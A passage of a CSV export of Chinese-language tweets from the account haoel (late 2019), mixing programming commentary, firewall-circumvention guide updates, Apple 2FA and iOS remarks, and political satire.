16:39:58+00:00,468,139,23,,计算机行业是个很有活力的行业，这个行业创造了很多让人羡慕的职位，比如：1）命令行运维（能够在十个以上的终端窗口来回切换输入命令还不出错）；2）功能程序员（能够一个月做10个以上的功能）；3）周报经理（能够把周报写得左手一条龙右手一个彩虹）；4）PPT架构师（能够在PPT上把架构画成顶尖水平）,,https://twitter.com/haoel/status/1192481831670517761\n4549,1192377620312100864,2019-11-07 09:45:52+00:00,0,0,0,,@netson_cn @kevinzhow 我更新一下,,https://twitter.com/haoel/status/1192377620312100864\n4550,1192262882735480833,2019-11-07 02:09:57+00:00,0,0,2,,@imganquan @kevinzhow 纯https啊,,https://twitter.com/haoel/status/1192262882735480833\n4551,1192237727200137220,2019-11-07 00:29:59+00:00,73,18,3,,twitter居然认为这条推是reply...嗯,,https://twitter.com/haoel/status/1192237727200137220\n4552,1192069342050996224,2019-11-06 13:20:53+00:00,576,146,16,,@kevinzhow 告诉了我一个最隐蔽的翻墙方式 - HTTPS 代理，使用 gost https://t.co/nI61OOnaUX 来建，我试了一下，果然NB，而且似乎还快了些。于是，晚上立马更新了《科学上网》这个文档：https://t.co/mdOTsYdude,\"[TextLink(text='github.com/ginuerzh/gost', url='https://github.com/ginuerzh/gost', tcourl='https://t.co/nI61OOnaUX', indices=(45, 68)), TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(113, 136))]\",https://twitter.com/haoel/status/1192069342050996224\n4553,1191743982193131520,2019-11-05 15:48:01+00:00,16,2,7,,终于找了小十岁的女朋友…… 但是我还是只羡慕@tinyfool  https://t.co/heb5hbQynX,\"[TextLink(text='dailymail.co.uk/tvshowbiz/arti…', url='https://www.dailymail.co.uk/tvshowbiz/article-7649103/Keanu-Reeves-55-goes-public-girlfriend-DECADES.html', tcourl='https://t.co/heb5hbQynX', indices=(33, 56))]\",https://twitter.com/haoel/status/1191743982193131520\n4554,1191519199006298113,2019-11-05 00:54:49+00:00,0,0,0,,@luoleiorg 应该是2014年,,https://twitter.com/haoel/status/1191519199006298113\n4555,1191368171099262976,2019-11-04 14:54:41+00:00,219,39,5,,2012 年写了篇文章 《无锁队列的实现》，前几天有人问了我好些问题，以及另外一篇论文，包括Java里的ConcurrentLinkedQueue 的代码实现。嗯，回答完后，觉得可以把这篇文章再优化和更新了一下……（你看，7年前的文章还有人读，我还可以继续维护，这就是微信公众号做不到的） https://t.co/xoI4wWn7Oz,\"[TextLink(text='coolshell.cn/articles/8239.…', url='https://coolshell.cn/articles/8239.html', tcourl='https://t.co/xoI4wWn7Oz', indices=(145, 168))]\",https://twitter.com/haoel/status/1191368171099262976\n4556,1191351974236585984,2019-11-04 13:50:19+00:00,4,0,3,,@kevinzhow 要么是Bug，要么是云上贵州！,,https://twitter.com/haoel/status/1191351974236585984\n4557,1191351855785242625,2019-11-04 13:49:51+00:00,0,0,1,,@luoleiorg 当然记得,,https://twitter.com/haoel/status/1191351855785242625\n4558,1191351772209532929,2019-11-04 13:49:31+00:00,0,0,1,,@LeaskH 随你，呵呵。,,https://twitter.com/haoel/status/1191351772209532929\n4559,1191294785450938370,2019-11-04 10:03:04+00:00,0,0,0,,@realpuertorico 是别人的Apple ID,,https://twitter.com/haoel/status/1191294785450938370\n4560,1191269504128413697,2019-11-04 08:22:37+00:00,9,1,2,,@hellovvq 别这么头脑简单啊，你想想，假如，我在黑你的iCloud账户，你的2factor没有发给你的设备，而是发给了我……,,https://twitter.com/haoel/status/1191269504128413697\n4561,1191268185380536321,2019-11-04 08:17:22+00:00,73,25,27,,我靠，刚刚有个人的Apple ID的两步认证的，Passcode发到我的Mac电脑上来了，包括我身边的同事也收到了，但是我的同事点的太快了，所以，我的也跟着关掉了，导致我没有把图截下来！妈的，这太夸张了吧，如果，这个2-factor的code可以发到别人的机器上，还是群发，这意味着什么？！这么搞，想想都后怕...,,https://twitter.com/haoel/status/1191268185380536321\n4562,1190910159477858307,2019-11-03 08:34:42+00:00,0,0,0,,@smoothdvd 谢谢，已修正,,https://twitter.com/haoel/status/1190910159477858307\n4563,1190884389108011008,2019-11-03 06:52:18+00:00,41,18,2,,酷壳 https://t.co/IuyntCmVpT - Unix 50 年：Ken Thompson 的密码: 50年前，除了Apollo上天之外，还有一个大事的发生，就是Unix操作系统的诞生，若干年… https://t.co/R1CXG5RT20,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/PzcqsH', url='https://goo.gl/fb/PzcqsH', tcourl='https://t.co/R1CXG5RT20', indices=(104, 127))]\",https://twitter.com/haoel/status/1190884389108011008\n4564,1190810101520584704,2019-11-03 01:57:07+00:00,0,0,1,,@_eleforest_ 师大附中,,https://twitter.com/haoel/status/1190810101520584704\n4565,1190544174983962624,2019-11-02 08:20:25+00:00,0,0,0,,@poowwbear 一家人,,https://twitter.com/haoel/status/1190544174983962624\n4566,1190529539610296320,2019-11-02 07:22:15+00:00,86,4,8,,今天给《少年的你》票房贡献了0.00000145亿的票房，电影中的那份学生时代的仗义令人动容。同时，也让我想到了学生时代被揍被抢钱的那段时光，老实说，这些事找警察和学校都没用，那些坏学生有的是时间陪你玩，那怕被开除了一样天天到你学校门口堵你…唯一的方式就是以牙还牙…打掉他们几颗牙就好了…,,https://twitter.com/haoel/status/1190529539610296320\n4567,1190307430334226432,2019-11-01 16:39:40+00:00,38,9,1,,looks so beautiful...,,https://twitter.com/haoel/status/1190307430334226432\n4568,1190305357244981250,2019-11-01 16:31:26+00:00,2,0,0,,@YuChan_Bolvar 经网友提醒才发现AWS支持银联卡了，刚更新了一下,,https://twitter.com/haoel/status/1190305357244981250\n4569,1190228938083069954,2019-11-01 11:27:46+00:00,1,0,0,,@bigzhu 帮忙PR一下,,https://twitter.com/haoel/status/1190228938083069954\n4570,1190197935083929600,2019-11-01 09:24:35+00:00,519,142,26,,《科学上网》自建梯子，更新：新增AWS LightSail服务，一个月$3.5刀 …… https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(44, 67))]\",https://twitter.com/haoel/status/1190197935083929600\n4571,1190196149111513088,2019-11-01 09:17:29+00:00,27,7,1,,如果我说“慎点”，一定会有很多人点，那我就说“快点”……,,https://twitter.com/haoel/status/1190196149111513088\n4572,1189930902140227584,2019-10-31 15:43:29+00:00,7,2,0,,+1,,https://twitter.com/haoel/status/1189930902140227584\n4573,1189913666436513792,2019-10-31 14:35:00+00:00,77,13,12,,苹果其实是一家互联网公司，他们在iOS13和Catalina打补丁的速度，已经很互联网了，绝对是DevOps……🐶 https://t.co/i6ulUDne1a,,https://twitter.com/haoel/status/1189913666436513792\n4574,1188704139343040512,2019-10-28 06:28:46+00:00,36,4,11,,北京今天这个风了，除了不下雨，感觉就是台风来了……在这样的大风低温天气下，依然还是可以看到这到好多女孩子穿裙子……我心里好为她们揪心啊，只希望她们的内裤也很漂亮，这样风大吹起裙子后，不至于失态……😍,,https://twitter.com/haoel/status/1188704139343040512\n4575,1188287037226356737,2019-10-27 02:51:21+00:00,43,3,3,,想买件格式衫，商场里试来试去，XXL， XXXL怎么着都不合适，累，身材欠佳，只能上亚麻海外购美帝XL的衣服了……顺手还买了个8TB的西数NAS……下单时，one click，连手机都不用掏钱就扣了，好像少了点什么似的……哎，IT胖子的网购就是这么朴实无华且枯燥……,,https://twitter.com/haoel/status/1188287037226356737\n4576,1188086165250834432,2019-10-26 13:33:10+00:00,13,1,1,,@nicholassiew01 国家战略，不能非议,,https://twitter.com/haoel/status/1188086165250834432\n4577,1188075093370404864,2019-10-26 12:49:10+00:00,351,83,33,,我连夜翻了翻，我历史发过的批评区块链的微博，赶快删掉……嗯，就算是纯技术评论，风险也是很大的……那些天天在我微博下评论我，多谈技术，少谈政治的人，永远想象不到今天……,,https://twitter.com/haoel/status/1188075093370404864\n4578,1187953710019670016,2019-10-26 04:46:50+00:00,29,0,11,,上海环球港13号线地铁站边上的一家拉面馆，可能也不一定好吃，但是上海地界好些类似的花样，能让人感觉上海的年轻化…… https://t.co/RPeg4SfXpK,,https://twitter.com/haoel/status/1187953710019670016\n4579,1187672913585102853,2019-10-25 10:11:03+00:00,381,118,18,,有网友问我学技术是看书还是看网上资料，这个问题还真不好回答，因为现在中国市场上的多数技术书籍都很烂，还不如看别人的博客。但不同的知识类型有不同的选择，这里统一回答一下…… https://t.co/gxEEymRuIL,,https://twitter.com/haoel/status/1187672913585102853\n4580,1187245141821517832,2019-10-24 05:51:14+00:00,74,24,4,,Looks true... https://t.co/GkX716URxW,,https://twitter.com/haoel/status/1187245141821517832\n4581,1186888997005447168,2019-10-23 06:16:02+00:00,18,3,10,,关于官方短信，像香山流量这种，或是天气警报都挺好的，包括扶贫日提醒也不错，第一次收到号召党员干部的学习短信，真是对我莫大的鼓励！ https://t.co/WVKPhFwRrz,,https://twitter.com/haoel/status/1186888997005447168\n4582,1186590606958555136,2019-10-22 10:30:21+00:00,2,0,3,,@shibwei 当然，还有很大提升空间。因为华住会，我已经不用携程订酒店了。,,https://twitter.com/haoel/status/1186590606958555136\n4583,1186564413072932865,2019-10-22 08:46:16+00:00,209,45,35,,这两年发现一些非互联网公司的APP比互联网公司做得更好，而且越来越好，比如：招行、华助会、云闪付、航旅纵横……，一方面，相关人才开始进入这些地方，另一方面，这些有实体资源的公司比没有实体资源的互联网公司更容易做好服务和用户体验，所以，感觉未来纯互联网企业会面临传统行业的巨大挑战……,,https://twitter.com/haoel/status/1186564413072932865\n4584,1186441866482352128,2019-10-22 00:39:18+00:00,1,0,0,,@shougao 我也是google了一下年份,,https://twitter.com/haoel/status/1186441866482352128\n4585,1186432724195663872,2019-10-22 00:02:58+00:00,0,0,0,,@sheji_sm 看不见我在讽刺么,,https://twitter.com/haoel/status/1186432724195663872\n4586,1186285497523425280,2019-10-21 14:17:57+00:00,92,26,29,,说说我人生中记得的几次抵制外国的运动：1999南斯拉夫大使馆事件，2001撞机事件抵制美国；2005反日流行；2008年抵制法国家乐福；2010反日游行；2012反日暴力骚乱；2016抵制肯德基；2017年抵制韩国乐天，2018抵制瑞典；2019抵制NBA……（说也奇怪，我学生时代没抵制过什么，大学毕业后才开始各种抵制）,,https://twitter.com/haoel/status/1186285497523425280\n4587,1185199955025121280,2019-10-18 14:24:23+00:00,31,4,40,,我最近开始夜间运动，试了各种音乐，目前为止，唐朝乐队的《梦回唐朝》专辑非常合适我进行独自慢跑这样朴实无华且枯燥的运动……大家晚上夜跑或夜走听什么音乐？ https://t.co/YAWLqcdNQL,,https://twitter.com/haoel/status/1185199955025121280\n4588,1184129011691261953,2019-10-15 15:28:51+00:00,79,20,4,,今天的科技圈的八卦，Java老大说GNU的老大偷了他Emacs的源代码，改个名字就开源了。然而事实上可能是Java老大维护不了Emacs了，想找人维护，有两个人想商业化Emacs， 而GNU老大已经开始维护并开源了……https://t.co/K385Nx8GO3,\"[TextLink(text='reddit.com/r/programming/…', url='https://www.reddit.com/r/programming/comments/dhrcxw/james_gosling_on_how_richard_stallman_stole_his/', tcourl='https://t.co/K385Nx8GO3', indices=(109, 132))]\",https://twitter.com/haoel/status/1184129011691261953\n4589,1184030898020159489,2019-10-15 08:58:58+00:00,82,29,29,,因为手机绑的公交卡出了些问题，电话了苹果支持，然后蘭果的远程协助，直接在我的iPhone上整个绿箭头，让我操作这个操作那个，最终问题很快解决了，然而感觉好没安全感啊……,,https://twitter.com/haoel/status/1184030898020159489\n4590,1183295697472258048,2019-10-13 08:17:33+00:00,87,17,13,,\"How to do increment\n\ni = i+1;\ni ++;\ni += 1;\ni -= -1;\ni -=  0xffffffff;\ni -= ~0;\ni = -~i;\ni -= 𝒆^(𝛑𝓲);\n\n😜\",,https://twitter.com/haoel/status/1183295697472258048\n4591,1183197242196250626,2019-10-13 01:46:19+00:00,263,77,5,,这个工具把curl 命令翻成各大个语言，配合上chrome开发工具中的把请求转curl命令，可以生成爬虫代码了…… https://t.co/ipMNSkr3wE,\"[TextLink(text='curl.trillworks.com', url='https://curl.trillworks.com', tcourl='https://t.co/ipMNSkr3wE', indices=(58, 81))]\",https://twitter.com/haoel/status/1183197242196250626\n4592,1182904108786675713,2019-10-12 06:21:31+00:00,217,81,1,,Uber 的 Go语言 guideline，很多不错的建议，值得推广！ https://t.co/31wSTcpQLb,\"[TextLink(text='github.com/uber-go/guide/…', url='https://github.com/uber-go/guide/blob/master/style.md', tcourl='https://t.co/31wSTcpQLb', indices=(36, 59))]\",https://twitter.com/haoel/status/1182904108786675713\n4593,1182677896978030592,2019-10-11 15:22:38+00:00,297,51,21,,听好些年轻人说，加班没问题，只要钱给足，就像听到编程最多干到三十岁，算法无用这样的观点，我都会微微一笑，用我温暖的微笑和关怀的眼神给予他们肯定和鼓励，仿佛看到他们未来再也不会有什么憧憬和梦想，只能去脉脉和知乎吐槽以缓解自己的苦闷……看到年轻人如此不上进，中年的我内心乐开了花……,,https://twitter.com/haoel/status/1182677896978030592\n4594,1182561700601483264,2019-10-11 07:40:55+00:00,75,15,0,,困扰了我多年的问题……,,https://twitter.com/haoel/status/1182561700601483264\n4595,1182149557712384000,2019-10-10 04:23:12+00:00,0,1,0,,@wanghw91 我用中国的手机号注册的twiiter…… 完了。,,https://twitter.com/haoel/status/1182149557712384000\n4596,1182077763664007168,2019-10-09 23:37:55+00:00,174,55,3,,Linkedin每天7万亿消息的Kafka的实践： https://t.co/mXHPhWa5nr,\"[TextLink(text='engineering.linkedin.com/blog/2019/apac…', url='https://engineering.linkedin.com/blog/2019/apache-kafka-trillion-messages', tcourl='https://t.co/mXHPhWa5nr', indices=(26, 49))]\",https://twitter.com/haoel/status/1182077763664007168\n4597,1182074410632527872,2019-10-09 23:24:36+00:00,9,2,0,,看来，美国移民海关执法局对github还是有一定的染指……,,https://twitter.com/haoel/status/1182074410632527872\n4598,1181945996793663489,2019-10-09 14:54:19+00:00,8,0,2,,@xlight 我的是Unlimited Plan ，22GB后才限速,,https://twitter.com/haoel/status/1181945996793663489\n4599,1181942135555149825,2019-10-09 14:38:59+00:00,9,0,0,,@Linuxhobby @mranti 时间呢？你的时间不值钱，我的时间很值钱，对我很值！,,https://twitter.com/haoel/status/1181942135555149825\n4600,1181939893821296640,2019-10-09 14:30:04+00:00,2,0,0,,@WeiboRetweet @tututucao 手机热点了解一下，Mac USB连iPhone上网了解一下,,https://twitter.com/haoel/status/1181939893821296640\n4601,1181929695136190464,2019-10-09 13:49:33+00:00,28,2,1,,@tututucao 一个月50刀，350软妹币，与能节约的时间来比，太便宜了！,,https://twitter.com/haoel/status/1181929695136190464\n4602,1181928643410325504,2019-10-09 13:45:22+00:00,1121,260,106,,节前的一波又一波的网络封锁，让我感觉到用代理的方式已经落后了，必须给自己架个“专线”……于是跟朋友组团订购了Google Fi……速度是没啥说的，目测北京地区联通比移动快很多……谢谢GFW，让我越来越上进，还让我隐隐感到穿越回到了十五年前，回到可以畅快淋漓访问互联网的时光…… https://t.co/Eo22vrEUbZ,,https://twitter.com/haoel/status/1181928643410325504\n4603,1181413054229049345,2019-10-08 03:36:36+00:00,217,101,40,,只能抵制Go 语言了……,,https://twitter.com/haoel/status/1181413054229049345\n4604,1181379105733824512,2019-10-08 01:21:42+00:00,351,72,32,,有这么一撮人，1）他们一开始先找出对立面的人斗；2）然后再找出中立派的人质问，你们为什么不发声？是不是敌军？你沉默就是反对吧？3）最后，他们会挑出自己阵营中的不积极的人，质问，你们为什么不积极？是不是对方派来的奸细？,,https://twitter.com/haoel/status/1181379105733824512\n4605,1181227329315426305,2019-10-07 15:18:36+00:00,3,0,1,,@tinyfool 你这撩妹功底，厉害👍🏻,,https://twitter.com/haoel/status/1181227329315426305\n4606,1181074602090348545,2019-10-07 05:11:43+00:00,34,11,0,,101面试题,,https://twitter.com/haoel/status/1181074602090348545\n4607,1181058048879513600,2019-10-07 04:05:56+00:00,235,49,20,,粉红的国庆七天，第一天从早亢奋到晚，第二天和第三天，批斗姚晨和来总，第四天批斗火箭，第五天批斗香港，第六天批斗豆瓣，第七天批斗苹果…… （过得相当充实）,,https://twitter.com/haoel/status/1181058048879513600\n4608,1180653412070744064,2019-10-06 01:18:03+00:00,132,18,21,,孩子的同学来家里做作业，写作文，祝福中国70岁生日的。我问，爷爷今年75岁了，爷爷比中国还大5岁，那么爷爷5岁前是不是中国人？孩子的同学说，你爷爷5岁前不是中国人，我家孩子有点不知所措……我说，整个中国有5000年了，可不止70年了。孩子们恍然大悟，对啊，中国5000年了……,,https://twitter.com/haoel/status/1180653412070744064\n4609,1180396331967246336,2019-10-05 08:16:30+00:00,11,0,4,,偶遇…… https://t.co/KDgGYHAdE6,,https://twitter.com/haoel/status/1180396331967246336\n4610,1179942371749793792,2019-10-04 02:12:38+00:00,6,1,2,,果然是照相器材……,,https://twitter.com/haoel/status/1179942371749793792\n4611,1179941650413408257,2019-10-04 02:09:46+00:00,16,3,0,,https://t.co/veLB8374Yy,\"[TextLink(text='pensees-ai.com', url='http://pensees-ai.com', tcourl='https://t.co/veLB8374Yy', indices=(0, 23))]\",https://twitter.com/haoel/status/1179941650413408257\n4612,1179722455406919680,2019-10-03 11:38:46+00:00,34,0,7,,微软的那个双屏设计，已经让我很想买了，击中了我这个程序员对多屏的情结，结果还要等一年……那我希望已经没有进步的苹果先把它抄了，这样我就不用麻烦地跨两个生态了…… ​​​🤟🏻,,https://twitter.com/haoel/status/1179722455406919680\n4613,1179714920838860806,2019-10-03 11:08:49+00:00,19,5,4,,感觉很帅，很实用，让我有购买的倾向了……,,https://twitter.com/haoel/status/1179714920838860806\n4614,1179288891939000320,2019-10-02 06:55:56+00:00,23,7,0,,谢谢推荐……,,https://twitter.com/haoel/status/1179288891939000320\n4615,1179285870752481280,2019-10-02 06:43:56+00:00,1,0,0,,@kevinzhow 不是鸡汤，是在吐槽,,https://twitter.com/haoel/status/1179285870752481280\n4616,1179212116546469890,2019-10-02 01:50:51+00:00,100,20,9,,无论你表现的有多强大，只要你有不敢或是不愿面对的事，你就不算强大，因为你无法战胜你不敢或是不愿去面对的事……,,https://twitter.com/haoel/status/1179212116546469890\n4617,1179203202585108480,2019-10-02 01:15:26+00:00,118,24,2,,如果你在你的公司内负责架构的话，HTTP/2是一个非常重要的需要推动的一个事，除了因为性能上收益外，推荐标准也是架构师的主要职责，因为，企业内部的架构越标准，可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，企业会非常自然的享受到标准所带来的红利。,,https://twitter.com/haoel/status/1179203202585108480\n4618,1179200872384827393,2019-10-02 01:06:11+00:00,1,0,0,,@bigzhu 我清理不动了，只能关闭朋友圈了……,,https://twitter.com/haoel/status/1179200872384827393\n4619,1179200411695058945,2019-10-02 01:04:21+00:00,1,0,1,,@bigzhu 我早已不是爱国青年了……,,https://twitter.com/haoel/status/1179200411695058945\n4620,1179199476335927296,2019-10-02 01:00:38+00:00,0,0,2,,@chounemo 没计划啊,,https://twitter.com/haoel/status/1179199476335927296\n4621,1179060183588200448,2019-10-01 15:47:08+00:00,52,19,1,,酷壳 https://t.co/IuyntCEwhr - HTTP的前世今生: HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议… https://t.co/nk9Szqypgk,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCEwhr', indices=(3, 26)), TextLink(text='goo.gl/fb/UZizr6', url='https://goo.gl/fb/UZizr6', tcourl='https://t.co/nk9Szqypgk', indices=(103, 126))]\",https://twitter.com/haoel/status/1179060183588200448\n4622,1179055718697058306,2019-10-01 15:29:23+00:00,0,0,0,,@Kuispe Shell从来不让你写行数多的脚本啊……shell的文化从来都是一行命令走天下……,,https://twitter.com/haoel/status/1179055718697058306\n4623,1179029657997307905,2019-10-01 13:45:50+00:00,1,1,0,,@taogenj 单说第三个吧，要不来实现一下，对某目录下所有的文件中的某个关键词做替换，或是实现一下统计远程所有机器上的nginx的access.log里的每分钟的请求数，我们来看看Shell 的实现更易读，还是Python更易读，是Shell更简单还是Python更简单？看看谁繁琐？,,https://twitter.com/haoel/status/1179029657997307905\n4624,1179019543584243712,2019-10-01 13:05:38+00:00,72,2,7,,谁说Youtube只推反华的，今天一天我都在看技术文章，做算法题，晚上想上Youtube看看，结果给我推了 CCTV的 70周年的阅兵式……,,https://twitter.com/haoel/status/1179019543584243712\n4625,1178848404127879168,2019-10-01 01:45:36+00:00,77,9,12,,iOS13代表了苹果“敏捷”的工程能力，短短一两周内，推了多少个更新……更新操作系统，如同互联网功能上线……又糙又快又猛……,,https://twitter.com/haoel/status/1178848404127879168\n4626,1178701926235430912,2019-09-30 16:03:33+00:00,2,0,1,,@Kuispe 你操作Linux敲命令行么？那已经是shell了……,,https://twitter.com/haoel/status/1178701926235430912\n4627,1178699202429194240,2019-09-30 15:52:43+00:00,71,10,21,,对Golang的三大梦想，1）用try cach解决if err!=nil，2）支持泛型，3）能在我50岁前看到上述两个梦想成真……,,https://twitter.com/haoel/status/1178699202429194240\n4628,1178594358536241153,2019-09-30 08:56:06+00:00,4,0,0,,@year9012 1）要不你自己比较一下：查找远程机器某日志文件中是否有某个关键词的功能，2）Linux下的命其基本是用c写的，你用Python写个文件字符串替换或是awk的任一功能，来比较一下谁性能和生产力更高……,,https://twitter.com/haoel/status/1178594358536241153\n4629,1178552457313443840,2019-09-30 06:09:36+00:00,356,108,8,,Shell脚本有高级语言不可比拟的优势，一方面是和操作系统结合得更好，另一方面Linux下的那些命令比你用Python或是别的语言写的效率要高很多。这里有一个bash的代码bible，很不错https://t.co/zqjwu8HLyO,\"[TextLink(text='github.com/dylanaraps/pur…', url='https://github.com/dylanaraps/pure-bash-bible', tcourl='https://t.co/zqjwu8HLyO', indices=(95, 118))]\",https://twitter.com/haoel/status/1178552457313443840\n4630,1178226146149683202,2019-09-29 08:32:58+00:00,0,0,0,,@ShanePricila 段子，段子,,https://twitter.com/haoel/status/1178226146149683202\n4631,1178117394822074368,2019-09-29 01:20:49+00:00,35,2,15,,居然用我的座右铭……是不是想撩我……🥳🤪😛😜,,https://twitter.com/haoel/status/1178117394822074368\n4632,1177969923571638272,2019-09-28 15:34:50+00:00,0,0,1,,@lifanzie 动画让我很舒服,,https://twitter.com/haoel/status/1177969923571638272\n4633,1177969412202098690,2019-09-28 15:32:48+00:00,92,33,3,,Shell毕竟还是你大爷，很难被取代。但是这篇文章又很多代码可以抄，所以转了……🐶,,https://twitter.com/haoel/status/1177969412202098690\n4634,1177962667627016194,2019-09-28 15:06:00+00:00,37,11,1,,舒服……,,https://twitter.com/haoel/status/1177962667627016194\n4635,1177369866346455040,2019-09-26 23:50:25+00:00,178,74,3,,大公司的日常，就是这么朴实无华且枯燥…… https://t.co/x7zyzV3IPO,,https://twitter.com/haoel/status/1177369866346455040\n4636,1176490773581160448,2019-09-24 13:37:13+00:00,446,27,57,,我的顶配Macbook Pro不小心摔了，想发个图让大家乐呵一下，但我随即想到，有些人一定会骂我炫富或者洋狗。于是我想了想，还是换一条：🇨🇳🇨🇳🇨🇳爱我中华，怒摔Macbook Pro，换华为Matebook！🇨🇳🇨🇳🇨🇳这样应该可以领很多赞吧……,,https://twitter.com/haoel/status/1176490773581160448\n4637,1176368769683210240,2019-09-24 05:32:25+00:00,115,14,17,,@微信团队 求你给我一个一键屏蔽要国旗的人和相关的信息……哦，不用了，你已提供关闭朋友圈的功能了……谢谢！,,https://twitter.com/haoel/status/1176368769683210240\n4638,1175975243371859970,2019-09-23 03:28:41+00:00,100,14,5,,每个人都喜欢在一些自己做不到的事上找理由，这种能力不教就会，天生的。如，事情太多没有时间，工作上没有用到，我不适合……作为同事和朋友你要做的就是帮他们为他们做不到的事找各种合理的理由，比如：没事的，一切都是最好的安排；你得不到的那个事没什么意思……这样就你可以很容易超过他们了……,,https://twitter.com/haoel/status/1175975243371859970\n4639,1175661143248891905,2019-09-22 06:40:33+00:00,0,0,0,,@nibaijing 要面容识别,,https://twitter.com/haoel/status/1175661143248891905\n4640,1175425680848216064,2019-09-21 15:04:55+00:00,25,1,4,,试试iOS13的拟我表情包……🤟🏻 https://t.co/npGXG4JHkV,,https://twitter.com/haoel/status/1175425680848216064\n4641,1175331911029284866,2019-09-21 08:52:18+00:00,66,4,2,,I’m not a great programmer; I’m just a good programmer with great habits.,,https://twitter.com/haoel/status/1175331911029284866\n4642,1173966779678216193,2019-09-17 14:27:46+00:00,181,43,28,,从服务器上拉取代码时，不知道 git pull 时要加 --rebase  参数这个事得要普及多遍……,,https://twitter.com/haoel/status/1173966779678216193\n4643,1173592398502322176,2019-09-16 13:40:06+00:00,27,0,1,,@BookRuby 是嫌我智商低，问白痴问题😂,,https://twitter.com/haoel/status/1173592398502322176\n4644,1173584034045153280,2019-09-16 13:06:52+00:00,299,41,40,,今天跟个90后吃饭，我问小伙子平时怎么学技术的，他说主要是看书和上网看资料，我问他怎么上网，用Google还是用百度，他说用Google，我说你用英文关键词还是用中文关键词搜，他不耐烦道：“当然是用英文了！我花钱翻出来，还花了几万元学英文，不用英文我不亏大发了？!” 然后白了我一眼……,,https://twitter.com/haoel/status/1173584034045153280\n4645,1173474153514463232,2019-09-16 05:50:14+00:00,78,31,14,,感觉，好像苹果手机开始走照相器材路线，而其它国产手机走的是PS路线……,,https://twitter.com/haoel/status/1173474153514463232\n4646,1173085542541451265,2019-09-15 04:06:02+00:00,61,1,1,,@Hikaru8511 心想，本已在被年轻人淘汰的过程中的我，我的未来又光明了许多……,,https://twitter.com/haoel/status/1173085542541451265\n4647,1173082845356494848,2019-09-15 03:55:19+00:00,259,54,69,,最近有几个90后甚至00后主动来找我讨论墙的必要性，一人说是防止西方敌对势力搞乱中国，一人说不能让西方国家拿到中国人的数据，还有说是为了捍卫互联网主权，是一种高级的治理智慧，不惧怕批评，是一种大国的自信！看着他们坚定的语气，让我彷佛看到了我的未来，于是我表现出深深地认同与支持……,,https://twitter.com/haoel/status/1173082845356494848\n4648,1172862793961226240,2019-09-14 13:20:55+00:00,266,54,14,,不知道还有多少人在用Google Doc，我司是重度使用者，其中有好些提高生产力的功能，这个插入特殊字符的“你画我猜”就很爽…… https://t.co/yNksEg6e3S,,https://twitter.com/haoel/status/1172862793961226240\n4649,1172716546528989184,2019-09-14 03:39:47+00:00,72,20,9,,自我审查相当可悲，比自我审查更第可悲的是人民斗人民……,,https://twitter.com/haoel/status/1172716546528989184\n4650,1172110603093045255,2019-09-12 11:31:59+00:00,25,3,4,,通货膨胀至少有一个好处，其让我现在都不觉得飞机场卖的东西贵了……,,https://twitter.com/haoel/status/1172110603093045255\n4651,1172055880012984320,2019-09-12 07:54:32+00:00,0,0,0,,@leonson 哦，上次SB的记录在这里：https://t.co/Wrs7DRWg8v,\"[TextLink(text='weibo.com/1401880315/E9X…', url='https://weibo.com/1401880315/E9XanAE7R', tcourl='https://t.co/Wrs7DRWg8v', indices=(22, 45))]\",https://twitter.com/haoel/status/1172055880012984320\n4652,1171761355918987264,2019-09-11 12:24:12+00:00,22,0,20,,又SB了一次，上海站的火车票跑来了上海虹桥站，看到改签和退票的大多都是混淆了上海站和上海虹桥站……各个城市的老火车站还是应该取个好识别的名字，就像美国纽约两个机场名，纽约肯尼迪和纽约拉瓜迪亚，就容易识别了。,,https://twitter.com/haoel/status/1171761355918987264\n4653,1171625762589294592,2019-09-11 03:25:24+00:00,41,15,11,,刚刚和 中国Zoom的客服 交流了一下，回应如下：之前的情况是所有使用zoom的人全部需要使用国内版的软件，不管国内国外，现在有好转了，国外的人不用动了，国内的人需要使用国内版，而且需要使用国内的帐号……,,https://twitter.com/haoel/status/1171625762589294592\n4654,1171457754717835264,2019-09-10 16:17:48+00:00,64,3,2,,昨天在飞机上又看了一遍这个电影，当听到We are the champion时，我那不争气的眼泪又跟在电影院里一样又飙出来了……那个时代为什么就这么快的过去了…… https://t.co/K40lrxDdNM,,https://twitter.com/haoel/status/1171457754717835264\n4655,1171449243225055238,2019-09-10 15:43:58+00:00,0,1,1,,@CleopatraPascal 你再怎么杠，也无法改变金融的基础是数学，是各种数学计算,,https://twitter.com/haoel/status/1171449243225055238\n4656,1171353892682002439,2019-09-10 09:25:05+00:00,0,0,0,,@CleopatraPascal 首先，看不出他们的数学成就，其次，他们玩了一般人都不出来的事，你不承认么？LOL,,https://twitter.com/haoel/status/1171353892682002439\n4657,1171328291946385408,2019-09-10 07:43:21+00:00,8,1,1,,@CleopatraPascal 你可能并不知道华尔街有一个比巴菲特挣钱还猛的人，这个人叫 James Harris Simons（可以自行Google），他是一个数学家，量化交易的鼻祖，从1988年至2015年，西蒙斯管理的大奖章基金，净年均收益率高达40%，而同期巴菲特的年化回报仅有15%！,,https://twitter.com/haoel/status/1171328291946385408\n4658,1171077898997878784,2019-09-09 15:08:23+00:00,412,85,32,,有人问我数学对写程序重不重要？我说别说写程序了，数学对你的整个人生都很重要。我感觉这个世界就是一群数学好的人，在收割那群数学不好的人。比如：金融……,,https://twitter.com/haoel/status/1171077898997878784\n4659,1170905929803431936,2019-09-09 03:45:02+00:00,0,0,1,,@nouh 有个兼职的,,https://twitter.com/haoel/status/1170905929803431936\n4660,1170892460110667778,2019-09-09 02:51:31+00:00,190,55,32,,Zoom也墙了，影响我这个远程团队的周会！select finger from hand where id=2;,,https://twitter.com/haoel/status/1170892460110667778\n4661,1169948419365826560,2019-09-06 12:20:14+00:00,4,0,0,,满分,,https://twitter.com/haoel/status/1169948419365826560\n4662,1169834899966087168,2019-09-06 04:49:09+00:00,13,1,2,,然后触发了一个OpenSSL 的bug.. 